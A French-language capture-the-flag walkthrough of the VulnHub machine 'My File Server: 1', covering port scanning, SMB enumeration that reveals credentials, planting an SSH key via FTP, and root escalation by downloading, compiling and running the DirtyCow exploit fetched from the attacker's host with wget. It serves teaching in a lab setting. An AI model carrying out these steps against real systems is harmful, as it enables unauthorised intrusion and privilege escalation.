Aujourd’hui, nous allons nous attaquer au CTF My File Server : 1 que vous trouverez à cette adresse :
https://www.vulnhub.com/entry/my-file-server-1,432/
Pour rappel, on a généralement 4 phases dans un CTF :
- Reconnaissance
- Enumération
- Exploitation
- Escalade de privilèges
Reconnaissance :
On doit d’abord repérer la machine sur notre réseau :
netdiscover
La machine à attaquer est en 192.168.1.44 (paramètre variable suivant votre réseau).
Il est maintenant temps de regarder les ports qui sont ouverts à l’aide de la commande Nmap :
nmap -A -p- 192.168.1.44
Rappel :
-A : Active la détection du système d’exploitation et des versions
-p- : On scanne sur la plage de port complet (entre 1 et 65535)
On voit qu’on a de nombreux ports ouverts. On va commencer par le classique : le port 80 !
Enumeration :
On va utiliser l’outil nikto pour déterminer les fichiers et répertoires disponibles sur le serveur web
nikto -h http://192.168.1.44
On ouvre le fichier readme.txt
Nous voilà avec un mot de passe mais à qui appartient-il ? Le nmap nous avait montré que le port 445 (SAMBA) était ouvert. Regardons s’il n’y a pas moyen de gratter de ce côté-là 🙂
smbmap -H 192.168.1.44
Bon ! Nous voilà avec un username « smbuser » et un mot de passe « rootroot1 ». Nous allons voir ce que nous pouvons en faire.
Exploitation :
Avec les crédentials recueillis, nous allons pouvoir nous connecter en FTP mais en terme d’exploitation, nous allons être limité. Une session SSH est bien plus utile. Voyons comment ouvrir cette connexion via l’exploitation du FTP.
ssh-keygen
L’idée étant d’aller transférer le fichier id_rsa.pub sur la machine cible via le serveur FTP
Allons tester si ça a fonctionné 🙂
ssh smbuser@192.168.1.44
uname -a
Escalade de privilèges :
Un vieux kernel, on va tenter d’utiliser l’exploit DIRTYCOW
wget http://192.168.1.16:8000/40616.c
gcc 40616.c -o nohackme -pthread
./nohackme
Et voilà, il ne reste plus qu’à afficher le contenu du fichier proof.txt
Nous voilà root et on trouve le flag !